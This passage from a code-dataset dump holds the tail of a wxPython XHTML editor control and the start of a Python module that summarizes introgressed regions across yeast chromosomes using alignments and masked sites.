/>\" #$NON-NLS-1$\r\n else:\r\n text = text + u\" \" #$NON-NLS-1$\r\n elif lType == ZStcLocator.CLOSETAG:\r\n text = text + u'>' #$NON-NLS-1$\r\n elif lType == ZStcLocator.INSIDETAG:\r\n text = text + u'=\"' #$NON-NLS-1$\r\n elif lType == ZStcLocator.ATTRVALUE and self.autocompleteLocatorInfo.attributeName and self.autocompleteLocatorInfo.attributeName.lower() == u\"style\" : #$NON-NLS-1$\r\n text = text + u':' #$NON-NLS-1$\r\n elif lType == ZStcLocator.ATTRVALUE and self.autocompleteLocatorInfo.attributeName and self.autocompleteLocatorInfo.attributeName.lower() == u\"href\" : #$NON-NLS-1$\r\n if text.lower().strip() == ZStcAutoCompleteHandler.ALL_POSTS_HREF.lower():\r\n pass\r\n #text = self._showPostsDialog()\r\n elif lType == ZStcLocator.SUBATTRNAME:\r\n if text.strip().lower() == ZStcAutoCompleteHandler.CUSTOM_COLORS.lower():\r\n text = self._showColorChooserDialog()\r\n if text and len(text) > 0:\r\n text = text + u'; ' #$NON-NLS-1$\r\n if p1 >=0 and p2 > p1:\r\n self._getStcControl().SetSelection(p1,p2)\r\n self._getStcControl().ReplaceSelection(text)\r\n else:\r\n self._getStcControl().AddText(text)\r\n # end onUserListSelection\r\n\r\n def _showColorChooserDialog(self):\r\n rVal = u\"\" #$NON-NLS-1$\r\n dlg = wx.ColourDialog(self)\r\n dlg.CentreOnParent()\r\n dlg.GetColourData().SetChooseFull(True)\r\n if dlg.ShowModal() == wx.ID_OK:\r\n data = dlg.GetColourData().GetColour().Get() #RGB tuple\r\n color = ZCssColor(red = data[0], blue = data[2], green = data[1])\r\n rVal = color.getCssColor().upper()\r\n dlg.Destroy()\r\n return rVal\r\n # end _showColorChooserDialog()\r\n\r\n def onUpdateUI(self, event): #@UnusedVariable\r\n self._fireUpdateUIEvent()\r\n # check for matching braces\r\n self._matchBraces()\r\n event.Skip()\r\n # end onUpdateUI()\r\n\r\n def onChange(self, event): #@UnusedVariable\r\n if self.contentLoaded:\r\n self._fireContentModifiedEvent()\r\n # end onChange()\r\n\r\n def onSelectionChange(self, event): #@UnusedVariable\r\n selection = None\r\n self._fireSelectionChangeEvent(selection)\r\n event.Skip()\r\n # end onSelectionChange()\r\n\r\n def onRightClick(self, event):\r\n xyPoint = event.GetPosition()\r\n self._fireContextMenuEvent(self, xyPoint)\r\n # end onRightClick()\r\n \r\n def setValue(self, value):\r\n self.clearValidation()\r\n # we need to reset the undo buffer otherwise the last undo will remove the text.\r\n self._getStcControl().EmptyUndoBuffer() \r\n self._internalSetValue(value)\r\n # end setValue\r\n\r\n def _internalSetValue(self, value):\r\n self.contentLoaded = False\r\n self._getStcControl().SetText(value)\r\n # set line break to be \\n\r\n self._getStcControl().SetEOLMode(STC_EOL_LF)\r\n self._getStcControl().ConvertEOLs(STC_EOL_LF)\r\n self.contentLoaded = True\r\n self._fireUpdateUIEvent()\r\n # end _internalSetValue\r\n\r\n def getValue(self):\r\n return self._getStcControl().GetText()\r\n # end getValue()\r\n\r\n def getCaretPosition(self):\r\n pos = self._getStcControl().GetCurrentPos()\r\n col = self._getStcControl().GetColumn(pos) + 1\r\n row = self._getStcControl().LineFromPosition(pos) + 1\r\n return (row,col)\r\n # end getCaretPosition()\r\n \r\n def clearState(self):\r\n pass\r\n # end clearState()\r\n\r\n def hasSelection(self):\r\n (start,end) = self._getStcControl().GetSelection()\r\n return start != end\r\n # hasSelection()\r\n\r\n def canCut(self):\r\n return self.hasSelection()\r\n # end canCut()\r\n\r\n def cut(self):\r\n self._getStcControl().Cut()\r\n # end cut()\r\n\r\n def canCopy(self):\r\n return self.canCut()\r\n # end canCopy()\r\n\r\n def copy(self):\r\n self._getStcControl().Copy()\r\n # end copy()\r\n\r\n def canPaste(self):\r\n return self._getStcControl().CanPaste()\r\n # end canPaste()\r\n\r\n def paste(self):\r\n self._getStcControl().Paste()\r\n # end paste()\r\n\r\n def canSelectAll(self):\r\n return True\r\n # end canSelectAll()\r\n\r\n def selectAll(self):\r\n self._getStcControl().SelectAll()\r\n # end selectAll()\r\n\r\n def selectNone(self):\r\n (start,end) = self._getStcControl.GetSelection() #@UnusedVariable\r\n self.SetSelection(start,start)\r\n # selectNone()\r\n\r\n def canUndo(self):\r\n return self._getStcControl().CanUndo()\r\n # end canUndo()\r\n\r\n def undo(self):\r\n self._getStcControl().Undo()\r\n # end undo()\r\n\r\n def canRedo(self):\r\n return self._getStcControl().CanRedo()\r\n # end canRedo()\r\n\r\n def redo(self):\r\n self._getStcControl().Redo()\r\n # end redo()\r\n\r\n def isFormattingEnabled(self, capabilityId): #@UnusedVariable\r\n if self.hasCapability(capabilityId):\r\n return True\r\n else:\r\n return False\r\n # end isFormattingEnabled()\r\n\r\n def getFormattingState(self, capabilityId): #@UnusedVariable\r\n return False\r\n # end getFormattingState()\r\n\r\n def applyFormatting(self, capabilityId, customData): #@UnusedVariable\r\n if capabilityId == IZRichTextEditControl.ZCAPABILITY_BOLD:\r\n self._wrapSelectionWithTag(u\"strong\") #$NON-NLS-1$\r\n elif capabilityId == IZRichTextEditControl.ZCAPABILITY_ITALIC:\r\n self._wrapSelectionWithTag(u\"em\") #$NON-NLS-1$\r\n elif capabilityId == IZRichTextEditControl.ZCAPABILITY_UNDERLINE:\r\n self._wrapSelectionWithTag(u\"span\", u\"text-decoration: underline\") #$NON-NLS-1$, #$NON-NLS-2$\r\n elif capabilityId == IZRichTextEditControl.ZCAPABILITY_STRIKETHRU:\r\n self._wrapSelectionWithTag(u\"del\") #$NON-NLS-1$\r\n # end applyFormatting()\r\n\r\n def canPasteXhtml(self):\r\n return self.canPaste()\r\n # end canPasteXhtml()\r\n\r\n def pasteXhtml(self):\r\n # get text from clipboard and insert xhtml\r\n content = getTextFromClipboard()\r\n if content:\r\n xhtmlDoc = loadXhtmlDocumentFromString(content)\r\n if xhtmlDoc:\r\n html = u\"\" #$NON-NLS-1$\r\n for node in xhtmlDoc.getBody().selectNodes(u\"child::*\"): #$NON-NLS-1$\r\n html = html + node.serialize()\r\n self._insertHtml(html, 0)\r\n # end pasteXhtml()\r\n\r\n def canInsertXhtml(self):\r\n return True\r\n # end canInsertXhtml\r\n\r\n def insertXhtml(self, xhtmlString): #@UnusedVariable\r\n self._insertHtml(xhtmlString, 0)\r\n # end insertXhtml\r\n\r\n def createFindReplaceContext(self):\r\n selectedText = self._getStcControl().GetSelectedText()\r\n return ZStyledXhtmlEditControlFindReplaceTextContext(self._getStcControl(), selectedText)\r\n # end createFindReplaceContext()\r\n\r\n def _wrapSelectionWithTag(self, tag, style = None):\r\n s = u\"\" #$NON-NLS-1$\r\n startTag = tag\r\n if style and tag:\r\n startTag = tag + u' style=\"%s\" ' % style #$NON-NLS-1$\r\n posOffset = 0\r\n if self.hasSelection() and tag:\r\n s = u\"<%s>%s\" % (startTag, self._getStcControl().GetSelectedText(), tag) #$NON-NLS-1$\r\n elif tag:\r\n s = u\"<%s>\" % (startTag, tag) #$NON-NLS-1$\r\n posOffset = len(startTag) + 2\r\n self._insertHtml(s, posOffset)\r\n #end _wrapSelectionWithTag()\r\n\r\n def _insertHtml(self, html, posOffset):\r\n if not html:\r\n return\r\n pos = self._getStcControl().GetCurrentPos()\r\n if self.hasSelection():\r\n self._getStcControl().ReplaceSelection(html)\r\n else:\r\n self._getStcControl().AddText(html)\r\n if posOffset > 0:\r\n self._getStcControl().EnsureCaretVisible()\r\n self._getStcControl().SetCurrentPos(pos + posOffset)\r\n pos = self._getStcControl().GetCurrentPos()\r\n self._getStcControl().SetSelectionStart(pos)\r\n self._getStcControl().EnsureCaretVisible()\r\n # end _insertHtml()\r\n\r\n def onMarginClick(self, evt):\r\n self._resetMarkerHighLighting()\r\n if evt.GetMargin() == 1:\r\n pos = evt.GetPosition()\r\n line = self._getStcControl().LineFromPosition(evt.GetPosition())\r\n self._handleMarkerMarginClicked(pos, line)\r\n evt.Skip()\r\n # end onMarginClick\r\n\r\n def _handleMarkerMarginClicked(self, pos, line): #@UnusedVariable\r\n # called when the user clicked on a marker on the margin.\r\n self._highlightMarkerLine(-1)\r\n # find marker by line number:\r\n line = line + 1 # adjust for 0 based index\r\n for zxhtmlValidationMessage in self.validationReportProvider.getValidationMessages(): #@UnusedVariable\r\n if zxhtmlValidationMessage.getLine() == line:\r\n # FIXME hightlight message in list control\r\n pass\r\n # end _handleMarkerMarginClicked\r\n\r\n def _highlightMarkerLine(self, aLineNum, aColNum=-1):\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_ARROW)\r\n if aLineNum < 0:\r\n return\r\n\r\n self._getStcControl().MarkerAdd(aLineNum, IZZStyledTextCtrlMarkers.MARKER_ARROW)\r\n self._getStcControl().EnsureCaretVisible()\r\n pos = self._getStcControl().PositionFromLine(aLineNum)\r\n if aColNum >= 0:\r\n p = pos + aColNum\r\n if p <= self._getStcControl().GetTextLength():\r\n pos = p\r\n self._getStcControl().SetCurrentPos(pos)\r\n self._getStcControl().SetSelectionStart(pos)\r\n self._getStcControl().EnsureCaretVisible()\r\n self._getStcControl().SetCaretLineBack(wx.Colour(red=255, green=255, blue=102))\r\n self._getStcControl().SetCaretLineVisible(True)\r\n # end _highlightMarkerLine()\r\n\r\n def _resetMarkerHighLighting(self):\r\n if self._getStcControl().GetCaretLineVisible():\r\n self._getStcControl().SetCaretLineVisible(False)\r\n # end _resetMarkerHighLighting()\r\n\r\n def _clearAllMarkers(self):\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_NONE)\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_OK)\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_WARN)\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_ERROR)\r\n self._getStcControl().MarkerDeleteAll(IZZStyledTextCtrlMarkers.MARKER_ARROW)\r\n self._resetMarkerHighLighting()\r\n # end _clearAllMarkers()\r\n\r\n def _addValidationMessageMarker(self, zxhtmlValidationMessage):\r\n if not zxhtmlValidationMessage:\r\n return\r\n symbol = IZZStyledTextCtrlMarkers.MARKER_NONE\r\n if zxhtmlValidationMessage.getSeverity() == ZXhtmlValidationMessage.SUCCESS:\r\n symbol = IZZStyledTextCtrlMarkers.MARKER_OK\r\n elif zxhtmlValidationMessage.getSeverity() == ZXhtmlValidationMessage.WARNING:\r\n symbol = IZZStyledTextCtrlMarkers.MARKER_WARN\r\n elif zxhtmlValidationMessage.getSeverity() == ZXhtmlValidationMessage.ERROR:\r\n symbol = IZZStyledTextCtrlMarkers.MARKER_ERROR\r\n elif zxhtmlValidationMessage.getSeverity() == ZXhtmlValidationMessage.FATAL:\r\n symbol = IZZStyledTextCtrlMarkers.MARKER_ERROR\r\n\r\n if zxhtmlValidationMessage.getLine() > 0:\r\n self._getStcControl().MarkerAdd(zxhtmlValidationMessage.getLine() - 1, symbol)\r\n # end _addValidationMessageMarker()\r\n\r\n def schemaValidate(self):\r\n # IZXHTMLEditControl impl.\r\n fireUIExecEvent(ZMethodRunnable(self._showViewAndRunValidation), self)\r\n # end schemaValidate\r\n\r\n def _showValidationView(self):\r\n if not self.validationView.IsShown():\r\n self.validationView.Show(True)\r\n self.Layout()\r\n # end _showValidationView\r\n\r\n def _hideValidationView(self):\r\n if self.validationView.IsShown():\r\n self.validationView.Show(False)\r\n self.Layout()\r\n # end _hideValidationView\r\n\r\n def _showViewAndRunValidation(self):\r\n self._showValidationView()\r\n fireUIExecEvent(ZMethodRunnable(self._runValidation), self)\r\n # end _showViewAndRunValidation\r\n\r\n def _runValidation(self):\r\n self._clearValidation()\r\n ZXhtmlSchemaUiUtil().validateHtmlBody(None, self.getValue(), self )\r\n # end _runValidation\r\n\r\n def _clearValidation(self):\r\n # IZXHTMLEditControl impl.\r\n self._clearAllMarkers()\r\n self.validationReportProvider.clearValidationMessages()\r\n self.validationView.getListControl().refresh()\r\n # end _clearValidation\r\n\r\n def clearValidation(self):\r\n # IZXHTMLEditControl impl.\r\n self._clearValidation()\r\n self._hideValidationView()\r\n # end clearValidation\r\n\r\n def runTidy(self):\r\n # IZXHTMLEditControl impl.\r\n fireUIExecEvent(ZMethodRunnable(self._internalRunTidy), self)\r\n # end runTidy\r\n\r\n def _internalRunTidy(self):\r\n self._showValidationView()\r\n self._clearValidation()\r\n (success, htmlResult, messageList) = ZXhtmlSchemaUiUtil().tidyHtmlBody(None, self.getValue(), self ) #@UnusedVariable\r\n if success:\r\n self._getStcControl().SetText(htmlResult)\r\n # end _internalRunTidy\r\n\r\n def onValidationItemSelected(self, event):\r\n index = event.GetIndex()\r\n zxhtmlValidationMessage = self.validationReportProvider.getValidationMessage(index)\r\n if zxhtmlValidationMessage:\r\n self._highlightMarkerLine(zxhtmlValidationMessage.getLine()-1, zxhtmlValidationMessage.getColumn())\r\n # end onValidationItemSelected\r\n\r\n def onValidationItemActivated(self, event): #@UnusedVariable\r\n pass\r\n # end onValidationItemActivated\r\n\r\n def onXhtmlValidationStart(self):\r\n pass\r\n # end onXhtmlValidationStart\r\n\r\n def onXhtmlValidationEnd(self, messageCount):\r\n if messageCount == 0:\r\n m = ZXhtmlValidationMessage(ZXhtmlValidationMessage.SUCCESS, -1,-1, u\"Completed successfully.\") #$NON-NLS-1$\r\n self.validationReportProvider.addValidationMessage(m)\r\n else:\r\n m = ZXhtmlValidationMessage(ZXhtmlValidationMessage.ERROR, -1, -1, u\"Completed with problems.\") #$NON-NLS-1$\r\n self.validationReportProvider.addValidationMessage(m)\r\n self.validationView.getListControl().refresh()\r\n # end onXhtmlValidationEnd\r\n\r\n def onXhtmlValidationMessage(self, zxhtmlValidationMessage): #@UnusedVariable\r\n self.validationReportProvider.addValidationMessage(zxhtmlValidationMessage)\r\n self._addValidationMessageMarker(zxhtmlValidationMessage)\r\n # end onXhtmlValidationMessage\r\n\r\n def onXhtmlValidationException(self, exception): #@UnusedVariable\r\n pass\r\n # end onXhtmlValidationException\r\n\r\n# end ZStyledXhtmlEditControl\r\n","sub_path":"src/python/zoundry/appframework/ui/widgets/controls/advanced/stc/stceditor.py","file_name":"stceditor.py","file_ext":"py","file_size_in_byte":32252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"75729381","text":"from __future__ import annotations\nimport bisect\nimport gzip\nimport numpy as np\nimport pickle\nfrom contextlib import ExitStack\nimport click\nimport logging as log\nfrom collections import Counter\nfrom misc import read_fasta\nfrom misc import read_table\nfrom misc import seq_functions\nfrom typing import List, Tuple, Dict\nfrom analyze.introgression_configuration import Configuration\n\n\ncen_starts = [151465, 238207, 114385, 449711, 151987, 148510,\n 496920, 105586, 355629, 436307, 440129, 150828,\n 268031, 628758, 326584, 555957]\ncen_starts = [x-1 for x in cen_starts]\n\ncen_ends = [151582, 238323, 114501, 449821, 152104, 148627,\n 497038, 105703, 355745, 436425, 440246, 150947,\n 268149, 628875, 326702, 556073]\ncen_ends = [x-1 for x in cen_ends]\n\ntel_coords = [1, 801, 229411, 230218,\n 1, 6608, 812379, 813184,\n 1, 1098, 315783, 316620,\n 1, 904, 1524625, 1531933,\n 1, 6473, 569599, 576874,\n 1, 5530, 269731, 270161,\n 1, 781, 1083635, 1090940,\n 1, 5505, 556105, 562643,\n 1, 7784, 439068, 439888,\n 1, 7767, 744902, 745751,\n 1, 807, 665904, 666816,\n 1, 12085, 1064281, 1078177,\n 1, 6344, 923541, 924431,\n 1, 7428, 783278, 784333,\n 1, 847, 1083922, 1091291,\n 1, 7223, 942396, 948010]\ntel_coords = [x-1 for x in tel_coords]\n\ntel_left_starts = [tel_coords[i] for i in range(0, len(tel_coords), 4)]\ntel_left_ends = [tel_coords[i] for i in range(1, len(tel_coords), 4)]\ntel_right_starts = [tel_coords[i] for i in range(2, len(tel_coords), 4)]\ntel_right_ends = [tel_coords[i] for i in range(3, len(tel_coords), 4)]\n\nchromosomes = ('I II III IV V '\n 'VI VII VIII IX X '\n 'XI XII XIII XIV XV XVI').split()\n\n\ndef distance_from_telomere(start, end, chrm):\n\n assert start <= end, str(start) + ' ' + str(end)\n\n i = chromosomes.index(chrm)\n # region entirely on left arm\n if end <= cen_starts[i]:\n return start - tel_left_ends[i]\n # region entirely on right arm\n if start >= cen_ends[i]:\n return tel_right_starts[i] - end\n # region overlaps centromere: return minimum distance from either telomere\n return min(start - tel_left_ends[i], tel_right_starts[i] - end)\n\n\ndef distance_from_centromere(start, end, chrm):\n\n assert start <= end, str(start) + ' ' + str(end)\n\n i = chromosomes.index(chrm)\n # region entirely on left arm\n if end <= cen_starts[i]:\n return cen_starts[i] - end\n # region entirely on right arm\n if start >= cen_ends[i]:\n return start - cen_ends[i]\n # region overlaps centromere: return 0\n return 0\n\n\ndef write_region_summary_plus(fn, regions, fields):\n f = open(fn, 'w')\n f.write('region_id\\t' + '\\t'.join(fields) + '\\n')\n keys = sorted(regions.keys(), key=lambda x: int(x[1:]))\n for region_id in keys:\n f.write(region_id + '\\t')\n f.write('\\t'.join([str(regions[region_id][field])\n for field in fields]))\n f.write('\\n')\n f.close()\n\n\ndef gap_columns(seqs):\n g = 0\n for i in range(len(seqs[0])):\n for seq in seqs:\n if seq[i] == '-': # gp.gap_symbol:\n g += 1\n break\n return g\n\n\ndef longest_consecutive(s, c):\n max_consecutive = 0\n current_consecutive = 0\n in_segment = False\n for i in range(len(s)):\n if s[i] == c:\n current_consecutive += 1\n in_segment = True\n else:\n if in_segment:\n max_consecutive = max(max_consecutive, current_consecutive)\n current_consecutive = 0\n in_segment = False\n return max_consecutive\n\n\ndef masked_columns(seqs):\n # return two things:\n # - number of columns that are masked in any sequence\n # - above, but excluding columns with gaps\n num_seqs = len(seqs)\n num_sites = len(seqs[0])\n mask_total = 0\n mask_non_gap_total = 0\n for ps in range(num_sites):\n mask = False\n gap = False\n for s in range(num_seqs):\n if seqs[s][ps] == '-': # gp.gap_symbol:\n gap = True\n elif seqs[s][ps] == 'x': # gp.masked_symbol:\n mask = True\n if mask:\n mask_total += 1\n if not gap:\n mask_non_gap_total += 1\n return mask_total, mask_non_gap_total\n\n\ndef index_by_reference(ref_seq, seq):\n # return dictionary keyed by reference index, with value the\n # corresponding index in non-reference sequence\n\n d = {}\n ri = 0\n si = 0\n for i in range(len(ref_seq)):\n if ref_seq[i] != '-': # gp.gap_symbol:\n d[ri] = si\n ri += 1\n if seq[i] != '-': # gp.gap_symbol:\n si += 1\n return d\n\n\ndef num_sites_between(sites, start, end):\n # sites are sorted\n i = bisect.bisect_left(sites, start)\n j = bisect.bisect_right(sites, end)\n return j - i, sites[i:j]\n\n\nclass Summarizer():\n '''\n Summarize region quality of each region\n '''\n def __init__(self, configuration: Configuration):\n self.config = configuration\n\n def validate_arguments(self):\n '''\n Check that all required instance variables are set to perform a\n summarize run. Returns true if valid, raises value error otherwise\n '''\n args = [\n 'chromosomes',\n 'labeled_blocks',\n 'quality_blocks',\n 'masks',\n 'alignment',\n 'positions',\n 'regions',\n 'region_index',\n 'known_states',\n 'unknown_states',\n 'states',\n 'symbols'\n ]\n variables = self.config.__dict__\n for arg in args:\n if arg not in variables or variables[arg] is None:\n err = ('Failed to validate Summarizer, required argument '\n f\"'{arg}' was unset\")\n log.exception(err)\n raise ValueError(err)\n\n reference = self.config.get('analysis_params.reference')\n if reference is None:\n err = f'Configuration did not specify a reference strain'\n log.exception(err)\n raise ValueError(err)\n\n return True\n\n def run(self, states: List[str] = None):\n '''\n Summarize region quality of each region for the states specified\n '''\n ref_ind, states = self.states_to_process(states)\n\n log.debug(f'reference index: {ref_ind}')\n log.debug(f'states to analyze: {states}')\n\n known_states = self.config.known_states\n log.debug(f'known_states {known_states}')\n\n analyzer = Sequence_Analyzer(\n self.config.masks,\n self.config.alignment,\n self.config.known_states,\n self.config.interval_states,\n self.config.chromosomes,\n self.config.symbols)\n\n log.debug(f'Sequence_Analyzer init with:')\n log.debug(f'masks: {self.config.masks}')\n log.debug(f'alignment: {self.config.alignment}')\n\n analyzer.build_masked_sites()\n\n for ind, state in enumerate(states):\n log.info(f'Working on state {state}')\n state_ind = self.config.states.index(state)\n\n with Position_Reader(\n self.config.positions\n ) as positions,\\\n Region_Writer(\n self.config.regions.format(state=state),\n self.config.region_index.format(state=state),\n known_states\n ) as region_writer,\\\n Quality_Writer(\n self.config.quality_blocks.format(state=state)\n ) as quality_writer,\\\n ExitStack() as stack:\n\n progress_bar = None\n if self.config.log_file:\n progress_bar = stack.enter_context(\n click.progressbar(\n length=len(self.config.chromosomes),\n label=f'State {ind+1} of {len(states)}'))\n\n for chrm in self.config.chromosomes:\n log.info(f'Working on chromosome {chrm}')\n region = Region_Database(\n self.config.labeled_blocks.format(state=state),\n chrm,\n known_states)\n\n for strain, ps in positions.get_positions(region, chrm):\n log.debug(f'{strain} {chrm}')\n\n analyzer.process_alignment(ref_ind,\n state_ind,\n chrm,\n strain,\n ps,\n region,\n region_writer)\n\n quality_writer.write_quality(region)\n\n if progress_bar:\n progress_bar.update(1)\n\n def states_to_process(self,\n states: List[str] = None) -> Tuple[int,\n List[str]]:\n '''\n Set the states to summarize to the values passed in.\n If no values are specified, run all states in config\n Checks if states are in config, warning if a state is not\n found and raising an error if none of the states are in config.\n '''\n reference = self.config.get('analysis_params.reference.name')\n ref_ind = self.config.states.index(reference)\n\n if states is None or states == []:\n to_process = self.config.states\n\n else:\n to_process = []\n for s in states:\n if s in self.config.states:\n to_process.append(s)\n else:\n log.warning(f\"state '{s}' was not found as a state\")\n\n if to_process == []:\n err = 'No valid states were found to process'\n log.exception(err)\n raise ValueError(err)\n\n return ref_ind, to_process\n\n\nclass Flag_Info():\n '''\n Collection of boolean flags for sequence summary\n '''\n def __init__(self):\n self.gap_any = None\n self.mask_any = None\n self.unseq_any = None\n self.hmm = None\n self.gap = None\n self.mask = None\n self.unseq = None\n self.match = None\n\n def initialize_flags(self, number_sequences: int, number_states: int):\n '''\n Initialize internal flags to np arrays of false\n '''\n self.gap_any = np.zeros((number_sequences), bool)\n self.mask_any = np.zeros((number_sequences), bool)\n self.unseq_any = np.zeros((number_sequences), bool)\n self.gap = np.zeros((number_sequences, number_states), bool)\n self.mask = np.zeros((number_sequences, number_states), bool)\n self.unseq = np.zeros((number_sequences, number_states), bool)\n self.match = np.zeros((number_sequences, number_states), bool)\n\n def add_sequence_flags(self, other: Flag_Info, state: int):\n '''\n Join the other flag info with this info by replacing values\n in the gap, unseq, and match arrays and performing OR with anys\n '''\n # only write the first time\n if state == 0:\n self.hmm = other.hmm\n\n self.gap_any = np.logical_or(self.gap_any, other.gap)\n self.unseq_any = np.logical_or(self.unseq_any, other.unseq)\n\n self.gap[:, state] = other.gap\n self.unseq[:, state] = other.unseq\n self.match[:, state] = other.match\n\n def add_mask_flags(self, other: Flag_Info, state: int):\n '''\n Join the other flag info with this by replacing values in mask and\n performing an OR with mask_any\n '''\n self.mask_any = np.logical_or(self.mask_any, other.mask)\n self.mask[:, state] = other.mask\n\n def encode_info(self,\n master_ind: int,\n predict_ind: int) -> str:\n '''\n Summarize info flags into a string. master_ind is the index of\n the master reference state. predict_ind is the index of the predicted\n state. The return string is encoded for each position as:\n '-': if either master or predict has a gap\n '_': if either master or predict is masked\n '.': if any state has a match\n 'b': both predict and master match\n 'c': master matches but not predict\n 'p': predict matches but not master\n 'x': no other condition applies\n if the position is in the hmm_flag\n it will be capitalized for x, p, c, or b\n in order of precidence, e.g. if a position satisfies both '-' and '.',\n it will be '-'.\n '''\n\n if predict_ind >= self.match.shape[1]:\n return self.encode_unknown_info(master_ind)\n\n decoder = np.array(list('xXpPcCbB._-'))\n indices = np.zeros(self.match.shape[0], int)\n\n indices[self.match[:, predict_ind]] += 2 # x to p if true\n indices[self.match[:, master_ind]] += 4 # x to c, p to b\n indices[self.hmm] += 1 # to upper\n\n matches = np.all(self.match, axis=1)\n indices[matches] = 8 # .\n indices[np.any(\n self.mask[:, [master_ind, predict_ind]],\n axis=1)] = 9 # _\n indices[np.any(\n self.gap[:, [master_ind, predict_ind]],\n axis=1)] = 10 # -\n\n return ''.join(decoder[indices])\n\n def encode_unknown_info(self,\n master_ind: int) -> str:\n '''\n Summarize info dictionary into a string for unknown state.\n master_ind is the index of the master reference state.\n The return string is encoded as each position as:\n '-': if any state has a gap\n '_': if any state has a mask\n '.': all states match\n 'x': master matches\n 'X': no other condition applies\n in order of precidence, e.g. if a position satisfies both '-' and '.',\n it will be '-'.\n '''\n\n # used with indices to decode result\n decoder = np.array(list('Xx._-'))\n indices = np.zeros(self.gap_any.shape, int)\n\n indices[self.match[:, master_ind]] = 1 # x\n matches = np.all(self.match, axis=1)\n indices[matches] = 2 # .\n indices[self.mask_any] = 3 # _\n indices[self.gap_any] = 4 # -\n\n return ''.join(decoder[indices])\n\n\nclass Sequence_Analyzer():\n '''\n Performs handling of masking, reading, and analyzing sequence data for\n summarizing the sequences\n '''\n def __init__(self,\n mask_file: str,\n alignment_file: str,\n known_states: List,\n interval_states: List,\n chromosomes: List,\n symbols: Dict):\n self.masks = mask_file\n self.alignments = alignment_file\n self.known_states = known_states\n self.interval_states = interval_states\n self.chromosomes = chromosomes\n self.symbols = symbols\n\n def build_masked_sites(self):\n '''\n Read in all intervals files and return dictionary of intervals,\n keyed first by chromosome, then state\n '''\n result = {}\n for chrom in self.chromosomes:\n result[chrom] = {}\n for state, name in zip(self.known_states, self.interval_states):\n result[chrom][state] = self.read_masked_sites(chrom, name)\n\n self.masked_sites = result\n\n def read_masked_sites(self, chrom: str, strain: str) -> np.array:\n filename = self.masks.format(chrom=chrom, strain=strain)\n intervals = self.read_masked_intervals(filename)\n sites = self.convert_intervals_to_sites(intervals)\n return sites\n\n def convert_intervals_to_sites(self,\n intervals: List[Tuple]) -> np.array:\n '''\n Given a list of start, end positions, returns a 1D np.array of sites\n contained in the intervals List\n convert_intervals_to_sites([(1, 2), (4, 6)]) -> [1, 2, 4, 5, 6]\n '''\n sites = []\n for start, end in intervals:\n sites += range(start, end + 1)\n return np.array(sites, dtype=int)\n\n def read_masked_intervals(self,\n filename: str) -> List[Tuple[int, int]]:\n '''\n Read the interval file provided and return start and end sequences\n as a list of tuples of 2 ints\n '''\n with open(filename, 'r') as reader:\n reader.readline() # header\n intervals = []\n for line in reader:\n line = line.split()\n intervals.append((int(line[0]), int(line[2])))\n\n return intervals\n\n def get_stats(self,\n current_sequence,\n other_sequence,\n slice_start,\n aligned_index_positions,\n masked_site):\n '''\n Helper function to perform analyses on the sequences returning\n the results of seq_id_hmm, seq_id, and seq_id_unmasked\n '''\n\n # only alignment columns used by HMM (polymorphic, no\n # gaps in any strain)\n hmm_stats = self.seq_id_hmm(other_sequence,\n current_sequence,\n slice_start,\n aligned_index_positions)\n\n # all alignment columns, excluding ones with gaps in\n # these two sequences\n nongap_stats = seq_functions.seq_id(other_sequence,\n current_sequence)\n\n # all alignment columns, excluding ones with gaps or\n # masked bases or unsequenced in *these two sequences*\n nonmask_stats = self.seq_id_unmasked(other_sequence,\n current_sequence,\n slice_start,\n masked_site[0],\n masked_site[1])\n\n return hmm_stats, nongap_stats, nonmask_stats\n\n def seq_id_hmm(self,\n seq1: np.array,\n seq2: np.array,\n offset: int,\n include_sites: List[int]) -> Tuple[\n int, int, Flag_Info]:\n '''\n Compare two sequences and provide statistics of their overlap\n considering only the included sites.\n Takes the two sequences to consider, an offset of the included sites,\n and a list of the included sites.\n Returns:\n -the total number of matching sites, where seq1[i] == seq2[i] and\n i is an element in included_sites - offset\n -the total number of sites considered in the included sites, e.g. where\n included_sites - offset >= 0 and < len(seq)\n -a Flag_Info object with:\n -gap: true where seq1 or seq1 == gap_symbol\n -unseq: true where seq1 or seq1 == unsequenced_symbol\n -hmm: true where hmm[i] is in included_sites - offset\n -match: true where seq1 == seq2, regardless of symbol\n '''\n sites = np.array(include_sites) - offset\n\n info = Flag_Info()\n info.gap = np.logical_or(seq1 == self.symbols['gap'],\n seq2 == self.symbols['gap'])\n info.unseq = np.logical_or(seq1 == self.symbols['unsequenced'],\n seq2 == self.symbols['unsequenced'])\n info.match = seq1 == seq2\n info.hmm = np.zeros(info.match.shape, bool)\n sites = sites[np.logical_and(sites < len(info.match), sites >= 0)]\n info.hmm[sites] = True\n\n total_sites = np.sum(info.hmm)\n total_match = np.sum(np.logical_and(info.hmm, info.match))\n\n # check all included are not gapped or skipped\n include_in_skip = np.logical_and(\n info.hmm, np.logical_or(\n info.unseq, info.gap))\n if np.any(include_in_skip):\n ind = np.where(include_in_skip)[0][0]\n err = ('Need to skip site specified as included '\n f'seq1: {seq1[ind]}, seq2: {seq2[ind]}, index: {ind}')\n log.exception(err)\n raise ValueError(err)\n\n return total_match, total_sites, info\n\n def seq_id_unmasked(self,\n seq1: np.array,\n seq2: np.array,\n offset: int,\n exclude_sites1: List[int],\n exclude_sites2: List[int]) -> Tuple[\n int, int, Flag_Info]:\n '''\n Compare two sequences and provide statistics of their overlap\n considering only the included sites.\n Takes two sequences, an offset applied to each excluded sites list\n Returns:\n -total number of matching sites in non-excluded sites. A position is\n excluded if it is an element of either excluded site list - offset,\n or it is a gap or unsequenced symbol in either sequence.\n -total number of non-excluded sites\n A Flag_Info object with:\n -mask_flag: a boolean array that is true if the position is in\n either excluded list - offset\n '''\n info = Flag_Info()\n info.gap = np.logical_or(seq1 == self.symbols['gap'],\n seq2 == self.symbols['gap'])\n info.unseq = np.logical_or(seq1 == self.symbols['unsequenced'],\n seq2 == self.symbols['unsequenced'])\n exclude_sites1 = np.array(exclude_sites1)\n exclude_sites2 = np.array(exclude_sites2)\n\n # convert offset excluded sites to boolean array\n info.mask = 